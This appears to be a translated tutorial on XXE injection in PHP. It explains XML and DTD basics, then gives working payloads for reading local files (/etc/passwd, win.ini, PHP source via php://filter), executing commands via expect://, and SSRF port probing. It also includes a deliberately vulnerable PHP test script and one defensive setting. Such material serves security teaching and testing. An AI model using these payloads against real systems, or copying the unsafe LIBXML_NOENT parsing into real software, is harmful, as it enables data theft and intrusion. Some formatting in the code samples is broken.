XXE Vulnerability: Attacks and Defenses
An overview of XXE vulnerabilities, XML and DTD fundamentals, exploitation principles, common payloads, testing, and defenses.
Read in Chinese→XXE Vulnerability
1. XXE Overview
XXE (XML External Entity Injection) refers to XML external entity injection. This vulnerability is a security issue caused by processing unsafe external entity data.
It can cause the following harm:
- Arbitrary file reading
- SSRF
- DoS
- Command execution
Introduction to XML Fundamentals
XML is the eXtensible Markup Language, designed for transmitting and storing data.
Below, we will mainly introduce XXE attacks in PHP.
Basic Structure
Example:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD
Document Type Definition (DTD)
A DTD defines the valid building blocks of an XML document. It uses a series of valid elements to define the document’s structure. A DTD can be declared inline within an XML document or referenced externally.
-
Internal DOCTYPE declaration
<!DOCTYPE 根元素 [元素声明]> -
External document declaration
<!DOCTYPE 根元素 SYSTEM ”文件名”>
Example of an Internal Declaration
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
Example of an External Reference
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "waibu.dtd">
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
The referenced contents of waibu.DTD are:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
Vulnerability Principles
XXE stands for XML External Entity Injection.
Let us first understand the meanings of injection and external entities separately.
- Injection: This means that
XMLdata is modified during transmission, causing the server to execute the modified malicious code and thereby achieve the attacker’s objective. - External entity: This means that an attacker uses an external entity declaration to modify
XMLdata and insert malicious code.
Therefore, XXE means using the “SYSTEM” keyword in an external entity declaration while XML data is being transmitted, causing the XML parser to read protected data from local files or remote URI.
Common Vulnerability Payloads
Arbitrary File Reading
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY fff SYSTEM "file:///etc/passwd">
]>
<hhh>&fff;</hhh>
Command Execution
This situation rarely occurs. However, when a system is misconfigured or an internal application is being developed—such as when the PHP expect module is loaded on a vulnerable system or an internal application that processes XML—an attacker may be able to execute code through XXE.
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>
SSRF Internal Network Probing
We need to determine whether the port is open based on the returned information.
This is mainly determined by differences in the error messages.
If testing a port returns “Connection refused,” the port is closed; otherwise, it is open.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://192.168.246.136:80">
]>
<reset>
<login>&ssrf;</login>
<secret>ssrf?</secret>
</reset>
Simple Test Code
<?php
$data = isset($_POST['data'])?trim($_POST['data']):'';
$xml = simplexml_load_string($data,"SimpleXMLElement",LIBXML_NOENT);
var_dump($xml)
?>
Note: Write an HTML submission form yourself. My environment is Windows 7 with phpStudy.
Arbitrary File-Reading Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///C:/Windows/win.ini">
]>
<note>
<name>&content;</name>
</note>
```
### Payload for Arbitrarily Reading PHP Files
The problem lies in reading the code. Characters such as \<> may cause the PHP file to be treated as XML, so reading it directly will produce an error. Therefore, we use a different protocol to convert its format before reading it.
This can ultimately lead to source code disclosure.```php
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<note>
<name>&content;</name>
</note>
```
### SSRF Internal Network Probing Payload
The error messages vary depending on the environment and protocol. Therefore, to determine whether a port is open, you need to enumerate the ports yourself, compare the differences, and make a judgment based on the error messages.```php
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://127.0.0.1:3306">
]>
<note>
<name>&content;</name>
</note>
Defending Against XXE Attacks
Use the method provided by the development language to disable external entities.
PHP:
libxml_disable_entity_loader(true);